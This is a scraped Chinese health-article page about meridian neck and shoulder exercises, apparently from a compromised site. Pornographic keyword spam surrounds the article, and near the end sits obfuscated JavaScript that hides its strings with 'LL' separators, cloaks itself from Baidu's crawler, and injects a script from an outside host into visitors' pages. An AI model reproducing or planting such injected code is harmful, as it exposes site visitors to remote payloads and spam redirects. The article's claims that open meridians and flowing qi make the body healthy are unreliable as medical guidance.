久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

經絡養生健身操怎么做?

2017-04-14 16:55:36  來源:360常識網   熱度:
導語:如今很多人都開始關心自己的身體健康,去健身房的人也越來越多,跳廣場舞的阿姨們也影響了很多人加入健身運動行列。很多人因為工作產生了一

如今很多人都開始關心自己的身體健康,去健身房的人也越來越多,跳廣場舞的阿姨們也影響了很多人加入健身運動行列。很多人因為工作產生了一些頸椎病脊椎病,但是有些劇烈的運動并不適合疾病的恢復。而經絡健身操可以幫助大家很好解決這一問題,下面小編就來給大家介紹方法。

聳肩操:放松肩膀和頸部,頭部自然挺直,雙肩自然向上聳起,但是要注意不是縮頸,頸部是保持不動的。只是將肩膀盡量上提,使肩膀有酸痛的感覺,上聳的時候保持2秒后猛力下沉兩肩,這樣為一個完整的動作,每次進行20次為宜。

舒頸操:雙手五指抓住雙肩的兩端,然后由前往后進行旋轉20次,再從后向前旋轉20次。肩膀與頸部都有放松的感覺,適合在辦公室工作休息的時候進行。

旋轉操:這個動作在休息的時候或者是感覺到脖子累的時候都可以做。這個動作在休息的時候或者是感覺到脖子累的時候都可以做。很簡單,頭部用力地向左旋轉,然后眼睛看上斜方保持5秒后,恢復,隨即頭部向右轉,眼睛看右上斜方5秒,即可放松頸部。

擴肩操:坐在椅子上時間久了,難免會覺得肩膀上好像壓著一塊石頭。在使用鍵盤時間為40分鐘后,就要雙手叉腰,聳起肩膀,從前面開始轉到后面,肩膀動,而脖子不動。每次轉動20次就可以舒緩肩頸部肌肉。

以上就是小編給大家介紹的經絡養生操,經絡是人體內氣血運行的通道,練好經絡健身操,對于被壓力壓得透不過氣來的人們可以從此項運動中得到放松,渾身變得舒暢許多。經絡暢通無阻,氣血得以順暢流通,身體自然健康。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 欧美午夜一区二区三区 | 国产精品久久久久久久久动漫 | 日韩性色视频 | 一本岛在线视频 | 欧美精品欧美精品系列 | 久久99爱视频 | 黄网址在线观看 | 欧美精品色网 | 99精品国产在热久久 | 青青草一区二区三区 | 欧美精品一区二区蜜臀亚洲 | 国产艳妇av视国产精选av一区 | 亚洲 中文 欧美 日韩 在线观看 | 欧美成人精品一区二区男人看 | 国产一区在线观看视频 | 精品欧美乱码久久久久久 | 精品国产一区二区三区成人影院 | 国产精品久久久久久福利 | 国产精品久久久久久久久久久久冷 | 亚洲精品久久久 | 午夜日韩 | 三级在线视频 | 999视频在线免费观看 | 亚洲国产一区二 | 草逼逼| 91精品久久| 麻豆av在线播放 | 天天综合永久入口 | 精品成人| 日本久久久久久久久久 | 国产欧美在线视频 | 日韩一区二区在线播放 | 午夜精品一区二区三区在线播放 | 青青草视频在线观看 | 国产精品成av人在线视午夜片 | 日韩毛片免费视频 | 国产免费看av大片的网站吃奶 | www.白白色 | 久色成人| 久久激情网 | 成人欧美一区二区三区白人 |